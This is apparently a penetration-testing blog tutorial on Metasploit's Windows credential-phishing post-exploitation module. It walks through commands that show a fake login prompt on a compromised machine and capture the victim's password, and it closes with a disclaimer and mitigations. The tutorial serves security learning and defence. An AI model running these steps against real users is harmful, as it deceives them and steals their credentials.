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July 28, 2026

Hack Remote Windows Password using Phishing Login Prompt Exploit

A post-exploitation guide showing how a fake Windows login popup can be used to capture a victim’s credentials via Meterpreter.

By Priyankachandrakar

2 min read

Introduction

Once an attacker has an active Meterpreter session on a Windows target, Metasploit includes a post-exploitation module that displays a fake Windows credential prompt to the victim. If the victim enters their username and password (believing it's a legitimate system prompt), the credentials are captured and sent back to the attacker.

⚠️ Disclaimer: Only perform this on your own lab VMs with proper authorization. Using this against real users without consent is both unethical and illegal.

Prerequisites

This requires an active Meterpreter session — established via one of the earlier techniques (e.g., SMB delivery, HTTP payload delivery).

Step 1: Search for the phishing module

search post windows phish

Step 2: Load the module

use 0

Module used:

post/windows/gather/phish_windows_credentials

Step 3: Confirm active session

sessions

Confirms a session is active and ready.

Step 4: Run the module

set SESSION 1
run

This displays a fake login popup on the victim's screen and prompts them to enter their password.

Step 5: Victim sees the popup

Output on the attacker side:

Waiting on the user to fill in his credentials...

Step 6: Credentials captured

Once the victim enters their details, they appear on screen:

UserName  Domain          Password
shivi     DESKTOP-...     ****

This confirms the username and password were successfully captured.

Mitigation

  • Train users to be cautious of unexpected credential prompts, especially ones that reappear without clear context.
  • Use multi-factor authentication so a captured password alone isn't enough to gain access.
  • Deploy EDR/antivirus tools capable of detecting known credential-phishing post-exploitation modules.
  • Restrict and monitor which processes can spawn UI prompts on user desktops.

Conclusion

This module demonstrates how a compromised machine can be used to socially engineer a user into voluntarily giving up their credentials — a reminder that technical compromise plus a convincing prompt can be just as effective as a network-level attack. Credential hygiene and user awareness training remain key defenses against this class of technique.

About the Author

Hi, I'm Priyanka Chandrakar — a cybersecurity enthusiast, ethical hacker, bug bounty hunter, and OSCP aspirant with a passion for penetration testing, Windows security, Active Directory, web application security, and offensive security research.

I enjoy documenting practical lab exercises, sharing hands-on learning experiences, and breaking down complex cybersecurity concepts into beginner-friendly guides. Through my articles, I aim to help aspiring security professionals build strong practical skills while promoting ethical and responsible security testing.

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